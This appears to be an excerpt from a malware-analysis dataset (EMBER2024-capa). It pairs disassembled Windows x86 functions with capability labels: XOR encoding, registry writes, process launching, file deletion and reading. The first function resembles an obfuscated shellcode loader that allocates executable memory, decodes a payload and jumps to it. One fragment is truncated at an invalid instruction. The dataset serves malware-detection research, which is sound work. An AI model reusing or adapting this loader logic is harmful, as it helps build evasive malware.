joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x401c66
pop dword [ebp - 0x10]
mov eax, 0xc52c60fa
sub eax, 0xc4ec4494
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x34fe7f73
sub dword [ebp - 0x20], 0xe6ac3a28
mov dword [ebp - 0x1c], 0x532270a8
add dword [ebp - 0x1c], 0xdf10db9d
mov dword [ebp - 0x18], 0x98a133e8
sub dword [ebp - 0x18], 0x4c54efba
mov dword [ebp - 0x14], 0x94bc0c5c
sub dword [ebp - 0x14], 0x94bc0c5c
lea eax, [ebp - 0x20]
push eax
mov eax, 0x41fcb4dd
add eax, 0xbe437b77
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0xbd76d1cd
sub dword [ebp - 0x20], 0x49046877
mov dword [ebp - 0x1c], 0xe8c12b30
add dword [ebp - 0x1c], 0x58ab3645
mov dword [ebp - 0x18], 0x91f0aef3
sub dword [ebp - 0x18], 0x2e814287
mov dword [ebp - 0x14], 0xdc75bfe8
sub dword [ebp - 0x14], 0xdc75bfe8
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x324ff145
add eax, 0xcdf03ee7
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x34126
push 0
call eax
mov ecx, 0x2774902b
add ecx, 0xd88bae32
xor ebx, ebx
add ebx, eax
mov edx, 0x22b1d87b
add edx, 0xdd8e9785
add edx, dword [ebp - 0x10]
mov edi, 0x19609b93
xor dword [ebp - 8], eax
mov esi, dword [edx]
mov dword [ebp - 8], 0x48bc33a8
sub esi, edi
add dword [ebp - 4], 0xb72e5608
mov dword [ebx], esi
xor dword [ebp - 8], edx
add ebx, 0xa941776f
sub ebx, 0xa941776b
add edx, 4
loop 0x401d84
add eax, 0x538b9240
add eax, 0xac755a07
mov ebx, eax
add eax, 0x584a6588
sub eax, 0x584a6583
mov ecx, 0xb0618e0
sub ecx, 0xac618e0
add ecx, dword [ebp - 0x10]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x10008ec6
Capabilities:
Set registry value

Disassembly:
push 4
lea eax, [esp + 0xc]
push eax
push 4
push 0
push dword [esp + 0x14]
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
ret 8

Function at 0x10008f28
Capabilities:
Set registry value

Disassembly:
mov edx, dword [esp + 8]
push ebx
mov ebx, ecx
test edx, edx
jne 0x10008f38
push 0xd
pop eax
jmp 0x10008f6e
push ebp
push esi
push edi
xor esi, esi
mov edi, edx
mov ecx, edi
lea ebp, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10008f44
sub ecx, ebp
lea eax, [ecx + 1]
add edi, eax
add esi, eax
cmp eax, 1
jne 0x10008f3f
push esi
push edx
push 7
push 0
push dword [esp + 0x24]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebp
pop ebx
ret 8

Function at 0x1000b60d
Capabilities:
Encode data using xor

Disassembly:
sub eax, 0xc9c64fc1
sub dword [ebp - 8], eax
push 0x40
push 0x1000
invalid
stosd dword es:[edi], eax
push ebp
Function at 0x10002740
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001f54d
mov eax, dword fs:[0]
push eax
sub esp, 0x5c
mov eax, dword [0x1002a080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.WINDIR
call fcn.1000c7d8
mov edx, eax
mov dword [ebp - 0x18], 0
mov ecx, edx
mov dword [ebp - 0x14], 0
xorps xmm0, xmm0
add esp, 4
movups xmmword [ebp - 0x28], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10002792
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.10005d30
lea eax, [ebp - 0x4c]
mov dword [ebp - 4], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov ecx, dword [ebp - 0x18]
mov eax, 0x7fffffff
sub eax, ecx
cmp word [ebp - 0x4c], 9
jne 0x1000288d
cmp eax, 9
jb 0x10002959
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
push 9
cmova eax, dword [ebp - 0x28]
push str.SysWOW64
push ecx
push eax
push ecx
push dword [ebp - 0x50]
lea ecx, [ebp - 0x68]
call fcn.100060d0
lea eax, [ebp - 0x68]
mov ecx, 0x101a2208
push eax
call fcn.10004ab0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0xf
jbe 0x10002836
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000282c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002954
push ecx
push edx
call fcn.100076d2
add esp, 8
push 0x58
mov edx, 0x101a0fd8
lea ecx, [ebp - 0x68]
call fcn.10001e00
add esp, 4
mov ecx, 0x101a10a0
push eax
call fcn.100049d0
mov ecx, dword [ebp - 0x54]
cmp ecx, 7
jbe 0x1000290a
mov edx, dword [ebp - 0x68]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10002900
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002954
jmp 0x10002900
cmp eax, 9
jb 0x10002959
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
push 9
cmova eax, dword [ebp - 0x28]
push str.System32
push ecx
push eax
push ecx
push dword [ebp - 0x50]
lea ecx, [ebp - 0x68]
call fcn.100060d0
lea eax, [ebp - 0x68]
mov ecx, 0x101a2208
push eax
call fcn.10004ab0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0xf
jbe 0x100028f4
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100028ea
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002954
push ecx
push edx
call fcn.100076d2
add esp, 8
push 0x4c
mov edx, 0x101a0f88
jmp 0x1000283d
push ecx
push edx
call fcn.100076d2
add esp, 8
mov ecx, dword [ebp - 0x14]
cmp ecx, 0xf
jbe 0x1000293a
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10002930
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002954
push ecx
push edx
call fcn.100076d2
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100076c4
mov esp, ebp
pop ebp
ret
call fcn.1000c24a
call fcn.10001220
int3
Function at 0x10002960
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001f58d
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x1002a080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
lea ecx, [ebp + 8]
cmp dword [ebp + 0x1c], 0xf
mov eax, dword [ebp + 0x18]
cmova ecx, dword [ebp + 8]
add eax, ecx
cmp dword [ebp + 0x1c], 0xf
lea ecx, [ebp + 8]
cmova ecx, dword [ebp + 8]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x28]
call fcn.10005790
cmp dword [0x101a10b4], 7
lea ecx, [ebp - 0x2c]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov eax, 0x101a10a0
cmova eax, dword [0x101a10a0]
push 0
push ecx
push 0
push 0x2021f
push 0
push 0
push 0
push eax
push 0x80000002
mov dword [ebp - 0x2c], 0
call esi
test eax, eax
jne 0x10002a4f
mov esi, dword [ebp - 0x14]
lea edx, [ebp - 0x28]
mov edi, dword [ebp - 0x28]
cmp esi, 7
cmova edx, edi
lea ecx, [edx + 2]
nop dword [eax + eax]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x10002a10
sub edx, ecx
lea ecx, [ebp - 0x28]
sar edx, 1
cmp esi, 7
cmova ecx, edi
lea eax, [edx + edx]
push eax
push ecx
push 1
push 0
push 0
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, 1
jmp 0x10002ade
cmp dword [0x101a10b4], 7
lea ecx, [ebp - 0x30]
push 0
push ecx
push 0
push 0x20007
push 0
push 0
mov eax, 0x101a10a0
mov dword [ebp - 0x30], 0
cmova eax, dword [0x101a10a0]
push 0
push eax
push 0x80000001
call esi
test eax, eax
jne 0x10002adc
mov esi, dword [ebp - 0x14]
lea edx, [ebp - 0x28]
mov edi, dword [ebp - 0x28]
cmp esi, 7
cmova edx, edi
lea ecx, [edx + 2]
nop word [eax + eax]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x10002aa0
sub edx, ecx
lea ecx, [ebp - 0x28]
sar edx, 1
cmp esi, 7
cmova ecx, edi
lea eax, [edx + edx]
push eax
push ecx
push 1
push 0
push 0
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, 2
jmp 0x10002ade
xor esi, esi
mov ecx, dword [ebp - 0x14]
cmp ecx, 7
jbe 0x10002b14
mov edx, dword [ebp - 0x28]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10002b0a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002b75
push ecx
push edx
call fcn.100076d2
add esp, 8
mov ecx, dword [ebp + 0x1c]
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp ecx, 0xf
jbe 0x10002b58
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10002b4e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002b75
push ecx
push edx
call fcn.100076d2
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100076c4
mov esp, ebp
pop ebp
ret
call fcn.1000c24a
int3
Function at 0x10002b80
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001f5eb
mov eax, dword fs:[0]
push eax
sub esp, 0xa0
mov eax, dword [0x1002a080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0xd
mov edx, 0x101a1090
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x94]
call fcn.10001d30
push eax
mov edx, 0x101a2208
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x40]
call fcn.100058b0
add esp, 8
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x80]
cmp ecx, 0xf
jbe 0x10002c14
mov edx, dword [ebp - 0x94]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10002c0a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002dc5
push ecx
push edx
call fcn.100076d2
add esp, 8
push 0xa
mov edx, 0x101a0f1c
mov dword [ebp - 0x84], 0
lea ecx, [ebp - 0xac]
mov dword [ebp - 0x80], 0xf
mov byte [ebp - 0x94], 0
call fcn.10001d30
push eax
lea edx, [ebp + 8]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x28]
call fcn.100058b0
mov ecx, dword [ebp - 0x98]
add esp, 8
cmp ecx, 0xf
jbe 0x10002c8b
mov edx, dword [ebp - 0xac]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10002c81
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002dca
push ecx
push edx
call fcn.100076d2
add esp, 8
cmp dword [ebp - 0x2c], 0xf
lea eax, [ebp - 0x40]
xorps xmm0, xmm0
mov dword [ebp - 0x7c], 0x3c
cmova eax, dword [ebp - 0x40]
cmp dword [ebp - 0x14], 0xf
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x28]
cmova eax, dword [ebp - 0x28]
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x7c]
push eax
movlpd qword [ebp - 0x58], xmm0
movlpd qword [ebp - 0x50], xmm0
movlpd qword [ebp - 0x48], xmm0
mov dword [ebp - 0x78], 0x40
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov ecx, dword [ebp - 0x14]
cmp ecx, 0xf
jbe 0x10002d28
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10002d1e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002dcf
push ecx
push edx
call fcn.100076d2
add esp, 8
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
cmp ecx, 0xf
jbe 0x10002d6a
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10002d60
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002dcf
push ecx
push edx
call fcn.100076d2
add esp, 8
mov ecx, dword [ebp + 0x1c]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
cmp ecx, 0xf
jbe 0x10002dac
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10002da2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002dcf
push ecx
push edx
call fcn.100076d2
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100076c4
mov esp, ebp
pop ebp
ret
call fcn.1000c24a
call fcn.1000c24a
call fcn.1000c24a
int3
Function at 0x10003790
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001f718
mov eax, dword fs:[0]
push eax
sub esp, 0x88
mov eax, dword [0x1002a080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0xd
mov edx, 0x1002ab08
lea ecx, [ebp - 0x94]
call fcn.10001d30
push eax
mov edx, 0x101a2208
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x40]
call fcn.100058b0
add esp, 8
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x80]
cmp ecx, 0xf
jbe 0x10003820
mov edx, dword [ebp - 0x94]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10003816
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000393e
push ecx
push edx
call fcn.100076d2
add esp, 8
push 0xc
mov edx, 0x1002aaf8
mov dword [ebp - 0x84], 0
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x80], 0xf
mov byte [ebp - 0x94], 0
call fcn.10001d30
add esp, 4
mov dword [ebp - 0x7c], 0x3c
cmp dword [ebp - 0x2c], 0xf
lea eax, [ebp - 0x40]
xorps xmm0, xmm0
mov dword [ebp - 0x78], 0x40
cmova eax, dword [ebp - 0x40]
cmp dword [ebp - 0x14], 0xf
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x28]
cmova eax, dword [ebp - 0x28]
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x7c]
push eax
movlpd qword [ebp - 0x58], xmm0
movlpd qword [ebp - 0x50], xmm0
movlpd qword [ebp - 0x48], xmm0
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov ecx, dword [ebp - 0x14]
cmp ecx, 0xf
jbe 0x100038e3
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100038d9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10003943
push ecx
push edx
call fcn.100076d2
add esp, 8
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
cmp ecx, 0xf
jbe 0x10003925
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000391b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10003943
push ecx
push edx
call fcn.100076d2
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100076c4
mov esp, ebp
pop ebp
ret
call fcn.1000c24a
call fcn.1000c24a
int3
Function at 0x10003eb0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [esp + 0xc], edi
test eax, eax
jg 0x10003ee2
jl 0x10003ed5
test ecx, ecx
jne 0x10003ee2
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x10003fa2
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], eax
mov ecx, ebx
call fcn.10005130
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x10003f4e
jg 0x10003f0d
test esi, esi
je 0x10003f4e
mov ecx, dword [esp + 0xc]
cmp ecx, eax
jg 0x10003f25
mov eax, dword [esp + 0x10]
jl 0x10003f1f
cmp eax, esi
jae 0x10003f25
mov esi, eax
mov dword [esp + 0x14], ecx
mov eax, dword [ebx + 0x1c]
push esi
push dword [eax]
push edi
call fcn.10008bb0
mov eax, dword [ebx + 0x2c]
add esp, 0xc
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
sub ecx, esi
sbb edx, dword [esp + 0x14]
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
jmp 0x10003f6f
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x1c]
mov edx, dword [esp + 0xc]
cmp eax, 0xffffffff
je 0x10003f8b
mov ecx, dword [esp + 0x10]
mov esi, 1
add ecx, 0xffffffff
mov byte [edi], al
adc edx, 0xffffffff
add edi, esi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
test edx, edx
jg 0x10003ef4
jl 0x10003f8b
test ecx, ecx
jne 0x10003ef4
mov eax, dword [ebp + 0xc]
sub eax, dword [esp + 0x10]
mov ecx, dword [ebp + 0x10]
sbb ecx, edx
mov edx, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
lea esi, [ebx + 0x2c]
mov edi, ecx
mov edx, dword [eax]
test edx, edx
je 0x10003fe6
mov eax, dword [esi]
mov eax, dword [eax]
test eax, eax
je 0x10003fe6
mov edi, dword [esp + 0xc]
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push edx
push edi
call fcn.10008bb0
mov eax, dword [ebx + 0x2c]
add edi, esi
mov dword [esp + 0x18], edi
add esp, 0xc
mov edi, dword [ebp + 0xc]
sub edi, esi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
lea esi, [ebx + 0x2c]
cmp dword [ebx + 0x4c], 0
je 0x10004057
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x1000400c
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi]
mov dword [eax], edx
mov esi, dword [esp + 0xc]
cmp edi, 0xfff
jbe 0x10004042
nop dword [eax + eax]
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call fcn.1000d60f
add esp, 0x10
add esi, eax
sub edi, eax
cmp eax, 0xfff
jne 0x10004057
cmp edi, eax
ja 0x10004020
test edi, edi
je 0x10004057
push dword [ebx + 0x4c]
push edi
push 1
push esi
call fcn.1000d60f
add esp, 0x10
sub edi, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1000f0c5
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1000f104
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000f104
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000f104
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1000f104
cmp dword [ecx + 0x74], 0xe
jbe 0x1000f104
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x10013c83
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.10008510
mov eax, dword [0x1002a080]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.100121a6
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x10013cc5
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x10013e21
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.1001f070
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x101a1dc0]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.1001380c
mov ecx, dword [esi*4 + 0x101a1dc0]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x10013e1a
cmp eax, dword [ecx + edi + 0x24]
jne 0x10013e1a
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10013e1a
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.1001380c
add esp, 0x14
test edx, edx
jl 0x10013e1a
jg 0x10013d90
test eax, eax
jb 0x10013e1a
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x10013e1a
jl 0x10013daa
cmp dword [ebp - 0x1008], eax
ja 0x10013e1a
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x10013dc8
test ebx, ebx
je 0x10013e01
cmp ecx, edi
jae 0x10013e01
mov al, byte [ecx]
cmp al, 0xd
jne 0x10013de2
lea eax, [edi - 1]
cmp ecx, eax
jae 0x10013dee
cmp byte [ecx + 1], 0xa
jne 0x10013dee
inc ecx
jmp 0x10013dee
movzx eax, al
movsx eax, byte [eax + 0x1002a328]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x10013dc8
cmp edx, ebx
jne 0x10013dc8
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x10013e1f
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.100076c4
leave
ret
Function at 0x10013fe7
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x101a1dc0]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x10014027
cmp byte [ebx], 0xa
jne 0x10014027
or byte [edi + eax + 0x28], 4
jmp 0x1001402c
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x1001412b
mov dl, byte [eax]
cmp dl, 0x1a
je 0x1001410e
inc eax
cmp dl, 0xd
je 0x10014058
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x1001407e
cmp eax, ecx
jae 0x1001408c
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x10014040
jmp 0x1001412b
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10014109
cmp dword [ebp - 0x10], 0
je 0x10014109
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x101a1dc0]
test byte [eax + edi + 0x28], 0x48
je 0x100140e3
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x100140ce
mov byte [esi], dl
jmp 0x100140df
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x101a1dc0]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x1001412b
cmp byte [ebp - 1], 0xa
jne 0x100140f2
cmp esi, ebx
jne 0x100140f2
mov byte [esi], 0xa
jmp 0x1001412a
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.1001382a
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x1001412b
mov byte [esi], 0xd
jmp 0x1001412a
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x101a1dc0]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x10014128
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x1001412b
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret